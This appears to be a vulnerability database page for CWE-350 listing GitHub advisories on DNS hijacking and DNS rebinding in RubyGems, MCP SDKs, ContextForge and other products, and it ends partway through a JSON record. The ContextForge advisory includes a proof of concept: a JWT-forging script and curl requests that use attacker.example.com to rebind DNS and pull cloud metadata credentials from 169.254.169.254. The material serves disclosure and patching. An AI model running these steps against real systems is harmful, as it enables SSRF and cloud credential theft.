CWE-350
AllowedReliance on Reverse DNS Resolution for a Security-Critical Action
Abstraction: Variant · Status: Draft
The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname.
57 vulnerabilities reference this CWE, most recent first.
GHSA-73W7-6W9G-GC8W
Vulnerability from github – Published: 2022-05-13 01:38 – Updated: 2023-03-09 00:36RubyGems version 2.6.12 and earlier is vulnerable to a DNS hijacking vulnerability that allows a MITM attacker to force the RubyGems client to download and install gems from a server that the attacker controls.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rubygems-update"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.6.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2017-0902"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-09T00:36:26Z",
"nvd_published_at": "2017-08-31T20:29:00Z",
"severity": "HIGH"
},
"details": "RubyGems version 2.6.12 and earlier is vulnerable to a DNS hijacking vulnerability that allows a MITM attacker to force the RubyGems client to download and install gems from a server that the attacker controls.",
"id": "GHSA-73w7-6w9g-gc8w",
"modified": "2023-03-09T00:36:26Z",
"published": "2022-05-13T01:38:25Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-0902"
},
{
"type": "WEB",
"url": "https://github.com/rubygems/rubygems/commit/8d91516fb7037ecfb27622f605dc40245e0f8d32"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/218088"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2017:3485"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0378"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0583"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2018:0585"
},
{
"type": "PACKAGE",
"url": "https://github.com/rubygems/rubygems"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html"
},
{
"type": "WEB",
"url": "https://security.gentoo.org/glsa/201710-01"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3553-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/3685-1"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170907040741/http://www.securityfocus.com/bid/100586"
},
{
"type": "WEB",
"url": "https://web.archive.org/web/20170907215801/http://www.securitytracker.com/id/1039249"
},
{
"type": "WEB",
"url": "https://www.debian.org/security/2017/dsa-3966"
},
{
"type": "WEB",
"url": "http://blog.rubygems.org/2017/08/27/2.6.13-released.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "RubyGems has Origin Validation Error vulnerability"
}
GHSA-89VP-X53W-74FX
Vulnerability from github – Published: 2026-05-06 21:55 – Updated: 2026-05-19 20:17Summary
Prior to version 1.4.0, the rmcp crate's Streamable HTTP server transport (crates/rmcp/src/transport/streamable_http_server/) did not validate the incoming Host header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim's loopback or private-network interface — violating the MCP specification's transport security guidance.
Impact
An attacker who convinces a victim to visit a malicious page can:
- Enumerate and invoke any tool exposed by a locally-running rmcp-based MCP server.
- Read resources, prompts, and any state accessible via the MCP session.
- Trigger side effects (file writes, shell execution, API calls, etc.) limited only by what tools the victim's server exposes.
Because MCP servers frequently run with the user's privileges and expose developer tooling (filesystems, shells, browser control, language servers, etc.), the practical impact can extend to arbitrary code execution on the victim's machine.
Affected Versions
rmcp < 1.4.0 — all prior releases of the Streamable HTTP server transport. Non-HTTP transports (stdio, child-process) are not affected.
Patched Versions
rmcp >= 1.4.0 (current: 1.5.1).
Patch
Fixed in PR #764 (commit 8e22aa2), released as v1.4.0 on 2026-04-09:
StreamableHttpServerConfig::allowed_hostsnow defaults to a loopback-only allowlist:["localhost", "127.0.0.1", "::1"].- All incoming HTTP requests pass through
validate_dns_rebinding_headers(), which parses theHostheader and returns HTTP 403 if the host is not on the allowlist. - Public deployments can configure an explicit allowlist via
StreamableHttpService::with_allowed_hosts(...), or opt out (not recommended without an upstream reverse proxy that validatesHost) viadisable_allowed_hosts().
This fix validates the Host header only. Origin header validation is tracked as a defense-in-depth follow-up in #822 and is not required to block the DNS rebinding attack described here — the browser cannot forge the Host header sent to the rebound server.
Workarounds for Unpatched Users
- Upgrade to
rmcp >= 1.4.0. - If upgrade is not possible, place the MCP server behind a reverse proxy (e.g. nginx, Caddy) configured to reject requests whose
Hostheader is not one of your expected hostnames. - Do not bind the MCP server to
0.0.0.0without such a proxy.
Resources
- PR: https://github.com/modelcontextprotocol/rust-sdk/pull/764
- Issue: https://github.com/modelcontextprotocol/rust-sdk/issues/815
- Follow-up (Origin validation): https://github.com/modelcontextprotocol/rust-sdk/issues/822
- MCP transport security guidance: https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning
Related advisories (same class of vulnerability)
- TypeScript SDK: GHSA-w48q-cv73-mx4w
- Python SDK: GHSA-9h52-p55h-vw2f
- Go SDK: GHSA-xw59-hvm2-8pj6
- Java SDK: GHSA-8jxr-pr72-r468
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "rmcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42559"
],
"database_specific": {
"cwe_ids": [
"CWE-346",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:55:56Z",
"nvd_published_at": "2026-05-14T15:16:46Z",
"severity": "HIGH"
},
"details": "## Summary\n\nPrior to version 1.4.0, the `rmcp` crate\u0027s Streamable HTTP server transport (`crates/rmcp/src/transport/streamable_http_server/`) did not validate the incoming `Host` header. This allowed a malicious public website, via a DNS rebinding attack, to send authenticated requests to an MCP server running on the victim\u0027s loopback or private-network interface \u2014 violating the MCP specification\u0027s [transport security guidance](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning).\n\n## Impact\n\nAn attacker who convinces a victim to visit a malicious page can:\n\n- Enumerate and invoke any tool exposed by a locally-running rmcp-based MCP server.\n- Read resources, prompts, and any state accessible via the MCP session.\n- Trigger side effects (file writes, shell execution, API calls, etc.) limited only by what tools the victim\u0027s server exposes.\n\nBecause MCP servers frequently run with the user\u0027s privileges and expose developer tooling (filesystems, shells, browser control, language servers, etc.), the practical impact can extend to arbitrary code execution on the victim\u0027s machine.\n\n## Affected Versions\n\n`rmcp \u003c 1.4.0` \u2014 all prior releases of the Streamable HTTP server transport. Non-HTTP transports (stdio, child-process) are not affected.\n\n## Patched Versions\n\n`rmcp \u003e= 1.4.0` (current: 1.5.1).\n\n## Patch\n\nFixed in [PR #764](https://github.com/modelcontextprotocol/rust-sdk/pull/764) (commit `8e22aa2`), released as v1.4.0 on 2026-04-09:\n\n- `StreamableHttpServerConfig::allowed_hosts` now defaults to a loopback-only allowlist: `[\"localhost\", \"127.0.0.1\", \"::1\"]`.\n- All incoming HTTP requests pass through `validate_dns_rebinding_headers()`, which parses the `Host` header and returns HTTP 403 if the host is not on the allowlist.\n- Public deployments can configure an explicit allowlist via `StreamableHttpService::with_allowed_hosts(...)`, or opt out (not recommended without an upstream reverse proxy that validates `Host`) via `disable_allowed_hosts()`.\n\nThis fix validates the `Host` header only. `Origin` header validation is tracked as a defense-in-depth follow-up in [#822](https://github.com/modelcontextprotocol/rust-sdk/issues/822) and is not required to block the DNS rebinding attack described here \u2014 the browser cannot forge the Host header sent to the rebound server.\n\n## Workarounds for Unpatched Users\n\n- Upgrade to `rmcp \u003e= 1.4.0`.\n- If upgrade is not possible, place the MCP server behind a reverse proxy (e.g. nginx, Caddy) configured to reject requests whose `Host` header is not one of your expected hostnames.\n- Do not bind the MCP server to `0.0.0.0` without such a proxy.\n\n## Resources\n\n- PR: https://github.com/modelcontextprotocol/rust-sdk/pull/764\n- Issue: https://github.com/modelcontextprotocol/rust-sdk/issues/815\n- Follow-up (Origin validation): https://github.com/modelcontextprotocol/rust-sdk/issues/822\n- MCP transport security guidance: https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning\n\n## Related advisories (same class of vulnerability)\n\n- TypeScript SDK: GHSA-w48q-cv73-mx4w\n- Python SDK: GHSA-9h52-p55h-vw2f\n- Go SDK: GHSA-xw59-hvm2-8pj6\n- Java SDK: GHSA-8jxr-pr72-r468",
"id": "GHSA-89vp-x53w-74fx",
"modified": "2026-05-19T20:17:47Z",
"published": "2026-05-06T21:55:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/security/advisories/GHSA-89vp-x53w-74fx"
},
{
"type": "WEB",
"url": "https://github.com/nubo-db/dynoxide/security/advisories/GHSA-fvh2-gm75-j4j7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42559"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/issues/815"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/issues/822"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/pull/764"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/rust-sdk/commit/8e22aa2de28df5a285eed87c11cd89bf15fa90d3"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/rust-sdk"
},
{
"type": "WEB",
"url": "https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#security-warning"
},
{
"type": "WEB",
"url": "https://rustsec.org/advisories/RUSTSEC-2026-0140.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "rmcp Streamable HTTP server transport has a DNS rebinding vulnerability"
}
GHSA-9FH3-R25P-CGRM
Vulnerability from github – Published: 2022-05-24 19:12 – Updated: 2022-09-30 00:00In PEPPERL+FUCHS WirelessHART-Gateway <= 3.0.8 serious issue exists, if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target's browser.
{
"affected": [],
"aliases": [
"CVE-2021-34561"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-31T11:15:00Z",
"severity": "HIGH"
},
"details": "In PEPPERL+FUCHS WirelessHART-Gateway \u003c= 3.0.8 serious issue exists, if the application is not externally accessible or uses IP-based access restrictions. Attackers can use DNS Rebinding to bypass any IP or firewall based access restrictions that may be in place, by proxying through their target\u0027s browser.",
"id": "GHSA-9fh3-r25p-cgrm",
"modified": "2022-09-30T00:00:41Z",
"published": "2022-05-24T19:12:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34561"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en-us/advisories/vde-2021-027"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-9H52-P55H-VW2F
Vulnerability from github – Published: 2025-12-02 16:52 – Updated: 2026-07-16 18:30Description
The Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using FastMCP with streamable HTTP or SSE transport, and has not configured TransportSecuritySettings, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.
Note that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.
Servers created via FastMCP() now have DNS rebinding protection enabled by default when the host parameter is 127.0.0.1 or localhost. Users are advised to update to version 1.23.0 to receive this automatic protection. Users with custom low-level server configurations using StreamableHTTPSessionManager or SseServerTransport directly should explicitly configure TransportSecuritySettings when running an unauthenticated server on localhost.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.23.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-66416"
],
"database_specific": {
"cwe_ids": [
"CWE-1188",
"CWE-350"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-02T16:52:08Z",
"nvd_published_at": "2025-12-02T19:15:52Z",
"severity": "HIGH"
},
"details": "### Description\n\nThe Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default for HTTP-based servers. When an HTTP-based MCP server is run on localhost without authentication using `FastMCP` with streamable HTTP or SSE transport, and has not configured `TransportSecuritySettings`, a malicious website could exploit DNS rebinding to bypass same-origin policy restrictions and send requests to the local MCP server. This could allow an attacker to invoke tools or access resources exposed by the MCP server on behalf of the user in those limited circumstances.\n\nNote that running HTTP-based MCP servers locally without authentication is not recommended per MCP security best practices. This issue does not affect servers using stdio transport.\n\nServers created via `FastMCP()` now have DNS rebinding protection enabled by default when the `host` parameter is `127.0.0.1` or `localhost`. Users are advised to update to version `1.23.0` to receive this automatic protection. Users with custom low-level server configurations using `StreamableHTTPSessionManager` or `SseServerTransport` directly should explicitly configure `TransportSecuritySettings` when running an unauthenticated server on localhost.",
"id": "GHSA-9h52-p55h-vw2f",
"modified": "2026-07-16T18:30:59Z",
"published": "2025-12-02T16:52:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/python-sdk/security/advisories/GHSA-9h52-p55h-vw2f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66416"
},
{
"type": "WEB",
"url": "https://github.com/modelcontextprotocol/python-sdk/commit/d3a184119e4479ea6a63590bc41f01dc06e3fa99"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-9h52-p55h-vw2f"
},
{
"type": "PACKAGE",
"url": "https://github.com/modelcontextprotocol/python-sdk"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/mcp/PYSEC-2026-1617.yaml"
},
{
"type": "WEB",
"url": "https://pypi.org/project/mcp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Model Context Protocol (MCP) Python SDK does not enable DNS rebinding protection by default"
}
GHSA-9HGC-G3W5-67CM
Vulnerability from github – Published: 2026-08-14 19:49 – Updated: 2026-08-14 19:49Summary
The /admin/gateways/test endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.
Details
validate_gateway_test_url() in mcpgateway/common/validators.py (lines 1527–1710) calls socket.getaddrinfo() on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including 169.254.169.254, 10.0.0.0/8, 172.16.0.0/12, and 192.168.0.0/16), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client as the original hostname string, not as the validated IP address.
The HTTP client (httpx, via ResilientHttpClient) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:
- The validated IP address is never passed to the HTTP client.
- Only the original hostname is forwarded, triggering a second independent lookup.
- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is implemented.
The configuration options ssrf_blocked_networks (default: enabled, covers 169.254.169.254/32, link-local ranges, etc.) and ssrf_dns_fail_closed (default: True) apply exclusively at validation time. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.
Two independent acknowledgements in the source code
Location 1 — mcpgateway/common/validators.py, lines 1537–1543 (function docstring of validate_gateway_test_url):
"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but the HTTP client will re-resolve DNS at connection time. An attacker controlling DNS can return a public IP during validation and a private IP during connection (DNS rebinding). True mitigation requires pinning the validated IP into the connection (custom resolver/transport, or IP allowlist check at connect callback). This is tracked as a known limitation for future improvement."
Location 2 — mcpgateway/admin.py, lines 14025–14029 (call site comment):
"TODO(ICACF-15): DNS rebinding risk — allowlist and SSRF checks resolve DNS, but the actual ResilientHttpClient request resolves DNS a third time. An attacker-controlled DNS server could return a public IP during validation and a private IP during the actual request. Consider pinning the resolved IP for outbound requests (custom transport) or caching DNS resolution across validation and request phases."
The existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.
Prerequisites
MCPGATEWAY_ADMIN_API_ENABLED=true(not the default; must be explicitly enabled by an operator).- The attacker holds a credential with explicit
gateways.readpermission assigned via a database role.
Regarding prerequisite 2: the endpoint is decorated with @require_permission("gateways.read", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) — a virtual identity with no database record — is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.
Proof of Concept
Setup
cd /opt/mcp-cf-test
MCPGATEWAY_ADMIN_API_ENABLED=true \
JWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \
uvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 &
sleep 5
Step 1 — Obtain a token for an account with database role assignment
The exploit requires a credential for a user who exists in the database with a role carrying gateways.read (e.g., platform_admin, which holds the * wildcard). Register a user through the Admin UI or API and assign the platform_admin role, then generate a JWT:
import datetime, jwt, uuid
SECRET = "my-test-key-but-now-longer-than-32-bytes"
EMAIL = "admin@example.com" # must have platform_admin role in DB
now = datetime.datetime.now(datetime.timezone.utc)
payload = {
"sub": EMAIL,
"aud": "mcpgateway-api",
"iss": "mcpgateway",
"jti": str(uuid.uuid4()),
"iat": now,
"exp": now + datetime.timedelta(hours=1),
}
print(jwt.encode(payload, SECRET, algorithm="HS256"), end="")
TOKEN=$(python3 /tmp/gen_token.py)
Step 2 — Baseline control: direct private IP is rejected
Submitting a literal private IP is blocked unconditionally before any DNS resolution occurs:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/", "method": "GET"}'
# Expected: HTTP 400 — "Invalid gateway URL"
Step 3 — DNS rebinding attack
- Attacker controls DNS for
attacker.example.comwith TTL set to 1 second. - Initial record:
attacker.example.com → 1.2.3.4(any public IP). - Submit the request:
curl -s -w "\nHTTP %{http_code}\n" \
-X POST http://127.0.0.1:8000/admin/gateways/test \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"url": "http://attacker.example.com/latest/meta-data/", "method": "GET"}'
validate_gateway_test_url()resolvesattacker.example.com → 1.2.3.4; all SSRF checks pass.- Attacker immediately flips the DNS record:
attacker.example.com → 169.254.169.254. httpxindependently re-resolves the hostname and connects to169.254.169.254.- The gateway returns the IMDS response body to the caller.
Standard DNS rebinding infrastructure (e.g., rbndr.us) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.
Impact
Server-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from 169.254.169.254/latest/meta-data/iam/security credentials/, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.
Suggested Fix
After DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom httpx transport or resolver that binds the socket to the already-resolved address and sets the Host header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mcp-contextforge-gateway"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53708"
],
"database_specific": {
"cwe_ids": [
"CWE-350",
"CWE-367",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-14T19:49:14Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `/admin/gateways/test` endpoint validates submitted URLs by resolving the hostname at validation time and blocking private address ranges. The HTTP client independently re-resolves DNS at connection time with no IP binding between the two operations, creating a TOCTOU window exploitable via DNS rebinding. The source code explicitly acknowledges this limitation in two separate locations.\n\n## Details\n\n`validate_gateway_test_url()` in `mcpgateway/common/validators.py` (lines 1527\u20131710) calls `socket.getaddrinfo()` on the submitted hostname, checks whether the resolved IP falls in private, loopback, link-local, or cloud-metadata ranges (including `169.254.169.254`, `10.0.0.0/8`, `172.16.0.0/12`, and `192.168.0.0/16`), and accepts the URL if the result is clean. The validated URL is then passed to the HTTP client **as the original hostname string**, not as the validated IP address.\n\nThe HTTP client (`httpx`, via `ResilientHttpClient`) performs its own independent DNS resolution at connection time. No mechanism bridges the two resolutions:\n\n- The validated IP address is never passed to the HTTP client.\n- Only the original hostname is forwarded, triggering a second independent lookup.\n- No TTL enforcement, mandatory DNS-cache reuse, or IP-level socket binding is\n implemented.\n\nThe configuration options `ssrf_blocked_networks` (default: enabled, covers `169.254.169.254/32`, link-local ranges, etc.) and `ssrf_dns_fail_closed` (default: `True`) apply exclusively at **validation time**. They share the same TOCTOU gap because they operate on the validation-time resolution result, not on the connection-time resolution performed by the HTTP client.\n\n### Two independent acknowledgements in the source code\n\n**Location 1** \u2014 `mcpgateway/common/validators.py`, lines 1537\u20131543 (function docstring of `validate_gateway_test_url`):\n\n\u003e \"DNS TOCTOU Limitation: This validation resolves DNS at validation time, but\n\u003e the HTTP client will re-resolve DNS at connection time. An attacker controlling\n\u003e DNS can return a public IP during validation and a private IP during connection\n\u003e (DNS rebinding). True mitigation requires pinning the validated IP into the\n\u003e connection (custom resolver/transport, or IP allowlist check at connect\n\u003e callback). This is tracked as a known limitation for future improvement.\"\n\n**Location 2** \u2014 `mcpgateway/admin.py`, lines 14025\u201314029 (call site comment):\n\n\u003e \"TODO(ICACF-15): DNS rebinding risk \u2014 allowlist and SSRF checks resolve DNS,\n\u003e but the actual ResilientHttpClient request resolves DNS a third time. An\n\u003e attacker-controlled DNS server could return a public IP during validation and a\n\u003e private IP during the actual request. Consider pinning the resolved IP for\n\u003e outbound requests (custom transport) or caching DNS resolution across\n\u003e validation and request phases.\"\n\nThe existence of a named TODO ticket (ICACF-15) confirms the maintainers consider this an open, tracked defect.\n\n### Prerequisites\n\n1. `MCPGATEWAY_ADMIN_API_ENABLED=true` (not the default; must be explicitly\n enabled by an operator).\n2. The attacker holds a credential with explicit `gateways.read` permission\n assigned via a database role.\n\nRegarding prerequisite 2: the endpoint is decorated with @require_permission(\"gateways.read\", allow_admin_bypass=False). The allow_admin_bypass=False flag explicitly disables the platform-admin shortcut, meaning even a platform admin must hold an explicit database-backed role assignment that carries gateways.read. A credential produced solely via the platform-admin bootstrap bypass described in the companion advisory (GHSA-m8rv-5m6m-32ff) \u2014 a virtual identity with no database record \u2014 is rejected with HTTP 403 at this endpoint because no role lookup can succeed without a database row. An attacker who has forged a JWT via that bootstrap path does not automatically gain access to this endpoint; they still require a separately provisioned account with an appropriate role.\n\n## Proof of Concept\n\n### Setup\n\n```bash\ncd /opt/mcp-cf-test\nMCPGATEWAY_ADMIN_API_ENABLED=true \\\nJWT_SECRET_KEY=my-test-key-but-now-longer-than-32-bytes \\\nuvicorn mcpgateway.main:app --host 0.0.0.0 --port 8000 \u0026\nsleep 5\n```\n\n### Step 1 \u2014 Obtain a token for an account with database role assignment\n\nThe exploit requires a credential for a user who exists in the database with a role carrying `gateways.read` (e.g., `platform_admin`, which holds the `*` wildcard). Register a user through the Admin UI or API and assign the `platform_admin` role, then generate a JWT:\n\n```python\nimport datetime, jwt, uuid\n\nSECRET = \"my-test-key-but-now-longer-than-32-bytes\"\nEMAIL = \"admin@example.com\" # must have platform_admin role in DB\nnow = datetime.datetime.now(datetime.timezone.utc)\n\npayload = {\n \"sub\": EMAIL,\n \"aud\": \"mcpgateway-api\",\n \"iss\": \"mcpgateway\",\n \"jti\": str(uuid.uuid4()),\n \"iat\": now,\n \"exp\": now + datetime.timedelta(hours=1),\n}\nprint(jwt.encode(payload, SECRET, algorithm=\"HS256\"), end=\"\")\n```\n\n```bash\nTOKEN=$(python3 /tmp/gen_token.py)\n```\n\n### Step 2 \u2014 Baseline control: direct private IP is rejected\n\nSubmitting a literal private IP is blocked unconditionally before any DNS resolution occurs:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n -X POST http://127.0.0.1:8000/admin/gateways/test \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://169.254.169.254/latest/meta-data/\", \"method\": \"GET\"}\u0027\n# Expected: HTTP 400 \u2014 \"Invalid gateway URL\"\n```\n\n### Step 3 \u2014 DNS rebinding attack\n\n1. Attacker controls DNS for `attacker.example.com` with TTL set to 1 second.\n2. Initial record: `attacker.example.com \u2192 1.2.3.4` (any public IP).\n3. Submit the request:\n\n```bash\ncurl -s -w \"\\nHTTP %{http_code}\\n\" \\\n -X POST http://127.0.0.1:8000/admin/gateways/test \\\n -H \"Authorization: Bearer $TOKEN\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"url\": \"http://attacker.example.com/latest/meta-data/\", \"method\": \"GET\"}\u0027\n```\n\n4. `validate_gateway_test_url()` resolves `attacker.example.com \u2192 1.2.3.4`;\n all SSRF checks pass.\n5. Attacker immediately flips the DNS record:\n `attacker.example.com \u2192 169.254.169.254`.\n6. `httpx` independently re-resolves the hostname and connects to\n `169.254.169.254`.\n7. The gateway returns the IMDS response body to the caller.\n\nStandard DNS rebinding infrastructure (e.g., `rbndr.us`) reliably achieves this window against the 1-second TTL. In cloud environments with IMDSv2 disabled or not enforced, the response contains IAM role credentials.\n\n## Impact\n\nServer-Side Request Forgery against internal services and cloud instance metadata. An attacker with a sufficiently privileged credential can probe internal network services, retrieve cloud credentials from `169.254.169.254/latest/meta-data/iam/security credentials/`, access internal APIs not exposed to the internet, or conduct port scanning of the internal network. In cloud environments where IMDSv1 is accessible, this can lead to full cloud account compromise through metadata-service credential theft.\n\n## Suggested Fix\n\nAfter DNS validation passes, pin the connection to the validated IP address rather than re-passing the hostname to the HTTP client. Implement this via a custom `httpx` transport or resolver that binds the socket to the already-resolved address and sets the `Host` header to the original hostname. Additionally, enforce a maximum DNS resolution age and refuse to connect if the elapsed time between validation and connection exceeds a configurable threshold. The codebase already tracks this requirement under TODO ICACF-15; the suggested fix closes it.",
"id": "GHSA-9hgc-g3w5-67cm",
"modified": "2026-08-14T19:49:14Z",
"published": "2026-08-14T19:49:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/security/advisories/GHSA-9hgc-g3w5-67cm"
},
{
"type": "PACKAGE",
"url": "https://github.com/IBM/mcp-context-forge"
},
{
"type": "WEB",
"url": "https://github.com/IBM/mcp-context-forge/releases/tag/v1.0.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "ContextForge: DNS TOCTOU race condition causes SSRF protection bypass (`/admin/gateways/test`)"
}
GHSA-9QFX-2RGM-H5RF
Vulnerability from github – Published: 2025-10-24 15:31 – Updated: 2025-10-24 18:31Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.
{
"affected": [],
"aliases": [
"CVE-2025-61430"
],
"database_specific": {
"cwe_ids": [
"CWE-350"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-24T15:15:40Z",
"severity": "MODERATE"
},
"details": "Improper handling of DNS over TCP in Simple DNS Plus v9 allows a remote attacker with querying access to the DNS server to cause the server to return request payloads from other clients. This happens when the TCP length prefix is malformed (len differs from actual packet len), and due to a concurrency/buffering issue, even when the lengths match. A length prefix that is smaller than the actual packet size increases information leakage. In summary, this vulnerability allows an attacker to see DNS queries of other clients.",
"id": "GHSA-9qfx-2rgm-h5rf",
"modified": "2025-10-24T18:31:00Z",
"published": "2025-10-24T15:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61430"
},
{
"type": "WEB",
"url": "https://ma-personal.notion.site/simpledns-vuln?source=copy_link"
},
{
"type": "WEB",
"url": "https://www.incognitotgt.me/blog/simpledns-vuln"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
